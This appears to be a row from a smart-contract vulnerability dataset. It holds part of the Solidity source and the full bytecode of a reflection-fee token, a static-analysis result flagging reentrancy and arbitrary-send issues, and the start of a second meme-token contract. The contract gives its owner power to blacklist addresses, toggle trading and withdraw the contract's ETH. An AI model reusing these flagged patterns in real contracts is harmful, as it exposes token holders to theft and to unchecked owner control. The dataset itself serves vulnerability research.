swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) public onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setTradingOpen(bool tradingOpen_) public onlyOwner() {
tradingOpen = tradingOpen_;
}
function withdraw() external onlyOwner {
address payable recipient = payable(owner());
recipient.transfer(address(this).balance);
}
}
|
0x6080604052600436106101395760003560e01c806370a08231116100ab578063b515566a1161006f578063b515566a146103fb578063c3c8cd8014610424578063c9567bf91461043b578063cb2f17b114610452578063d543dbeb14610469578063dd62ed3e1461049257610140565b806370a0823114610314578063715018a6146103515780638da5cb5b1461036857806395d89b4114610393578063a9059cbb146103be57610140565b8063273123b7116100fd578063273123b71461023e578063313ce567146102675780633ccfd60b1461029257806349bd5a5e146102a95780635932ead1146102d45780636fc3eaec146102fd57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806321c03a97146101d857806323b872dd1461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104cf565b6040516101679190612e1e565b60405180910390f35b34801561017c57600080fd5b506101976004803603810190610192919061294e565b61050c565b6040516101a49190612e03565b60405180910390f35b3480156101b957600080fd5b506101c261052a565b6040516101cf9190612fc0565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa91906129d7565b61053b565b005b34801561020d57600080fd5b50610228600480360381019061022391906128fb565b6105ed565b6040516102359190612e03565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612861565b6106c6565b005b34801561027357600080fd5b5061027c6107b6565b6040516102899190613035565b60405180910390f35b34801561029e57600080fd5b506102a76107bf565b005b3480156102b557600080fd5b506102be6108aa565b6040516102cb9190612d5e565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f691906129d7565b6108d0565b005b34801561030957600080fd5b50610312610982565b005b34801561032057600080fd5b5061033b60048036038101906103369190612861565b6109f4565b6040516103489190612fc0565b60405180910390f35b34801561035d57600080fd5b50610366610a45565b005b34801561037457600080fd5b5061037d610b98565b60405161038a9190612d5e565b60405180910390f35b34801561039f57600080fd5b506103a8610bc1565b6040516103b59190612e1e565b60405180910390f35b3480156103ca57600080fd5b506103e560048036038101906103e0919061294e565b610bfe565b6040516103f29190612e03565b60405180910390f35b34801561040757600080fd5b50610422600480360381019061041d919061298e565b610c1c565b005b34801561043057600080fd5b50610439610d46565b005b34801561044757600080fd5b50610450610dc0565b005b34801561045e57600080fd5b50610467610e72565b005b34801561047557600080fd5b50610490600480360381019061048b9190612a31565b611156565b005b34801561049e57600080fd5b506104b960048036038101906104b491906128bb565b61129f565b6040516104c69190612fc0565b60405180910390f35b60606040518060400160405280600781526020017f5261745261636500000000000000000000000000000000000000000000000000815250905090565b6000610520610519611326565b848461132e565b6001905092915050565b6000683635c9adc5dea00000905090565b610543611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c790612f20565b60405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b60006105fa8484846114f9565b6106bb84610606611326565b6106b68560405180606001604052806028815260200161373c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061066c611326565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc69092919063ffffffff16565b61132e565b600190509392505050565b6106ce611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075290612f20565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107c7611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084b90612f20565b60405180910390fd5b600061085e610b98565b90508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156108a6573d6000803e3d6000fd5b5050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108d8611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095c90612f20565b60405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109c3611326565b73ffffffffffffffffffffffffffffffffffffffff16146109e357600080fd5b60004790506109f181611c2a565b50565b6000610a3e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d25565b9050919050565b610a4d611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190612f20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5261745261636500000000000000000000000000000000000000000000000000815250905090565b6000610c12610c0b611326565b84846114f9565b6001905092915050565b610c24611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca890612f20565b60405180910390fd5b60005b8151811015610d4257600160076000848481518110610cd657610cd561337d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3a906132d6565b915050610cb4565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d87611326565b73ffffffffffffffffffffffffffffffffffffffff1614610da757600080fd5b6000610db2306109f4565b9050610dbd81611d93565b50565b610dc8611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4c90612f20565b60405180910390fd5b6001601260146101000a81548160ff021916908315150217905550565b610e7a611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efe90612f20565b60405180910390fd5b601260149054906101000a900460ff1615610f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4e90612fa0565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fa0306109f4565b600080610fab610b98565b426040518863ffffffff1660e01b8152600401610fcd96959493929190612da2565b6060604051808303818588803b158015610fe657600080fd5b505af1158015610ffa573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101f9190612a5e565b5050506001601260166101000a81548160ff0219169083151502179055506001601260176101000a81548160ff021916908315150217905550611062600a611156565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611101929190612d79565b602060405180830381600087803b15801561111b57600080fd5b505af115801561112f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111539190612a04565b50565b61115e611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e290612f20565b60405180910390fd5b6000811161122e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122590612ec0565b60405180910390fd5b61125d606461124f83683635c9adc5dea0000061201b90919063ffffffff16565b61209690919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6013546040516112949190612fc0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139590612f80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561140e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140590612e80565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114ec9190612fc0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090612f60565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d090612e40565b60405180910390fd5b6000811161161c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161390612f40565b60405180910390fd5b6004600b819055506006600c819055506000611636610b98565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116a45750611674610b98565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b0457600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561174d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61175657600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118015750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186f5750601260179054906101000a900460ff165b156119235760135482111561188357600080fd5b42600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118ce57600080fd5b601e426118db91906130f6565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190505b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119ce5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a245750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a3e576004600b819055506006600c81905550600190505b6000611a49306109f4565b9050601260159054906101000a900460ff16158015611ab65750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ace5750601260169054906101000a900460ff165b8015611ada5750600081115b15611b0257611ae881611d93565b60004790506000811115611b0057611aff47611c2a565b5b505b505b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b5b5750815b90508115611bb357601260149054906101000a900460ff16611bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba990612ee0565b60405180910390fd5b5b611bbf858585846120e0565b5050505050565b6000838311158290611c0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c059190612e1e565b60405180910390fd5b5060008385611c1d91906131d7565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c7a60028461209690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ca5573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cf660028461209690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d21573d6000803e3d6000fd5b5050565b6000600954821115611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6390612e60565b60405180910390fd5b6000611d7661210d565b9050611d8b818461209690919063ffffffff16565b915050919050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcb57611dca6133ac565b5b604051908082528060200260200182016040528015611df95781602001602082028036833780820191505090505b5090503081600081518110611e1157611e1061337d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eb357600080fd5b505afa158015611ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eeb919061288e565b81600181518110611eff57611efe61337d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461132e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fca959493929190612fdb565b600060405180830381600087803b158015611fe457600080fd5b505af1158015611ff8573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b60008083141561202e5760009050612090565b6000828461203c919061317d565b905082848261204b919061314c565b1461208b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208290612f00565b60405180910390fd5b809150505b92915050565b60006120d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612138565b905092915050565b806120ee576120ed61219b565b5b6120f98484846121de565b80612107576121066123a9565b5b50505050565b600080600061211a6123bd565b91509150612131818361209690919063ffffffff16565b9250505090565b6000808311829061217f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121769190612e1e565b60405180910390fd5b506000838561218e919061314c565b9050809150509392505050565b6000600b541480156121af57506000600c54145b156121b9576121dc565b600b54600d81905550600c54600e819055506000600b819055506000600c819055505b565b6000806000806000806121f08761241f565b95509550955095509550955061224e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232f8161252f565b61233984836125ec565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123969190612fc0565b60405180910390a3505050505050505050565b600d54600b81905550600e54600c81905550565b600080600060095490506000683635c9adc5dea0000090506123f3683635c9adc5dea0000060095461209690919063ffffffff16565b82101561241257600954683635c9adc5dea0000093509350505061241b565b81819350935050505b9091565b600080600080600080600080600061243c8a600b54600c54612626565b925092509250600061244c61210d565b9050600080600061245f8e8787876126bc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124c983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bc6565b905092915050565b60008082846124e091906130f6565b905083811015612525576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251c90612ea0565b60405180910390fd5b8091505092915050565b600061253961210d565b90506000612550828461201b90919063ffffffff16565b90506125a481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126018260095461248790919063ffffffff16565b60098190555061261c81600a546124d190919063ffffffff16565b600a819055505050565b6000806000806126526064612644888a61201b90919063ffffffff16565b61209690919063ffffffff16565b9050600061267c606461266e888b61201b90919063ffffffff16565b61209690919063ffffffff16565b905060006126a582612697858c61248790919063ffffffff16565b61248790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126d5858961201b90919063ffffffff16565b905060006126ec868961201b90919063ffffffff16565b90506000612703878961201b90919063ffffffff16565b9050600061272c8261271e858761248790919063ffffffff16565b61248790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061275861275384613075565b613050565b9050808382526020820190508285602086028201111561277b5761277a6133e0565b5b60005b858110156127ab578161279188826127b5565b84526020840193506020830192505060018101905061277e565b5050509392505050565b6000813590506127c4816136f6565b92915050565b6000815190506127d9816136f6565b92915050565b600082601f8301126127f4576127f36133db565b5b8135612804848260208601612745565b91505092915050565b60008135905061281c8161370d565b92915050565b6000815190506128318161370d565b92915050565b60008135905061284681613724565b92915050565b60008151905061285b81613724565b92915050565b600060208284031215612877576128766133ea565b5b6000612885848285016127b5565b91505092915050565b6000602082840312156128a4576128a36133ea565b5b60006128b2848285016127ca565b91505092915050565b600080604083850312156128d2576128d16133ea565b5b60006128e0858286016127b5565b92505060206128f1858286016127b5565b9150509250929050565b600080600060608486031215612914576129136133ea565b5b6000612922868287016127b5565b9350506020612933868287016127b5565b925050604061294486828701612837565b9150509250925092565b60008060408385031215612965576129646133ea565b5b6000612973858286016127b5565b925050602061298485828601612837565b9150509250929050565b6000602082840312156129a4576129a36133ea565b5b600082013567ffffffffffffffff8111156129c2576129c16133e5565b5b6129ce848285016127df565b91505092915050565b6000602082840312156129ed576129ec6133ea565b5b60006129fb8482850161280d565b91505092915050565b600060208284031215612a1a57612a196133ea565b5b6000612a2884828501612822565b91505092915050565b600060208284031215612a4757612a466133ea565b5b6000612a5584828501612837565b91505092915050565b600080600060608486031215612a7757612a766133ea565b5b6000612a858682870161284c565b9350506020612a968682870161284c565b9250506040612aa78682870161284c565b9150509250925092565b6000612abd8383612ac9565b60208301905092915050565b612ad28161320b565b82525050565b612ae18161320b565b82525050565b6000612af2826130b1565b612afc81856130d4565b9350612b07836130a1565b8060005b83811015612b38578151612b1f8882612ab1565b9750612b2a836130c7565b925050600181019050612b0b565b5085935050505092915050565b612b4e8161321d565b82525050565b612b5d81613260565b82525050565b6000612b6e826130bc565b612b7881856130e5565b9350612b88818560208601613272565b612b91816133ef565b840191505092915050565b6000612ba96023836130e5565b9150612bb482613400565b604082019050919050565b6000612bcc602a836130e5565b9150612bd78261344f565b604082019050919050565b6000612bef6022836130e5565b9150612bfa8261349e565b604082019050919050565b6000612c12601b836130e5565b9150612c1d826134ed565b602082019050919050565b6000612c35601d836130e5565b9150612c4082613516565b602082019050919050565b6000612c586013836130e5565b9150612c638261353f565b602082019050919050565b6000612c7b6021836130e5565b9150612c8682613568565b604082019050919050565b6000612c9e6020836130e5565b9150612ca9826135b7565b602082019050919050565b6000612cc16029836130e5565b9150612ccc826135e0565b604082019050919050565b6000612ce46025836130e5565b9150612cef8261362f565b604082019050919050565b6000612d076024836130e5565b9150612d128261367e565b604082019050919050565b6000612d2a6017836130e5565b9150612d35826136cd565b602082019050919050565b612d4981613249565b82525050565b612d5881613253565b82525050565b6000602082019050612d736000830184612ad8565b92915050565b6000604082019050612d8e6000830185612ad8565b612d9b6020830184612d40565b9392505050565b600060c082019050612db76000830189612ad8565b612dc46020830188612d40565b612dd16040830187612b54565b612dde6060830186612b54565b612deb6080830185612ad8565b612df860a0830184612d40565b979650505050505050565b6000602082019050612e186000830184612b45565b92915050565b60006020820190508181036000830152612e388184612b63565b905092915050565b60006020820190508181036000830152612e5981612b9c565b9050919050565b60006020820190508181036000830152612e7981612bbf565b9050919050565b60006020820190508181036000830152612e9981612be2565b9050919050565b60006020820190508181036000830152612eb981612c05565b9050919050565b60006020820190508181036000830152612ed981612c28565b9050919050565b60006020820190508181036000830152612ef981612c4b565b9050919050565b60006020820190508181036000830152612f1981612c6e565b9050919050565b60006020820190508181036000830152612f3981612c91565b9050919050565b60006020820190508181036000830152612f5981612cb4565b9050919050565b60006020820190508181036000830152612f7981612cd7565b9050919050565b60006020820190508181036000830152612f9981612cfa565b9050919050565b60006020820190508181036000830152612fb981612d1d565b9050919050565b6000602082019050612fd56000830184612d40565b92915050565b600060a082019050612ff06000830188612d40565b612ffd6020830187612b54565b818103604083015261300f8186612ae7565b905061301e6060830185612ad8565b61302b6080830184612d40565b9695505050505050565b600060208201905061304a6000830184612d4f565b92915050565b600061305a61306b565b905061306682826132a5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130905761308f6133ac565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310182613249565b915061310c83613249565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131415761314061331f565b5b828201905092915050565b600061315782613249565b915061316283613249565b9250826131725761317161334e565b5b828204905092915050565b600061318882613249565b915061319383613249565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131cc576131cb61331f565b5b828202905092915050565b60006131e282613249565b91506131ed83613249565b925082821015613200576131ff61331f565b5b828203905092915050565b600061321682613229565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061326b82613249565b9050919050565b60005b83811015613290578082015181840152602081019050613275565b8381111561329f576000848401525b50505050565b6132ae826133ef565b810181811067ffffffffffffffff821117156132cd576132cc6133ac565b5b80604052505050565b60006132e182613249565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133145761331361331f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f74726164696e67206973206e6f74206f70656e00000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136ff8161320b565b811461370a57600080fd5b50565b6137168161321d565b811461372157600080fd5b50565b61372d81613249565b811461373857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220517dfedf1839a7f603a445108727cf8130ccb785e493a6a32fa6ce36b193ed9264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,462 |
0x68650eefeb230c573d40b73d9e0b980cc9d1c987
|
/**
*Submitted for verification at Etherscan.io on 2022-04-10
*/
/*
Melon Inu
“Meme token”, “Elon Musk” & “Melon” are the key elements of Melon Inu.
https://t.me/meloninuportal
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
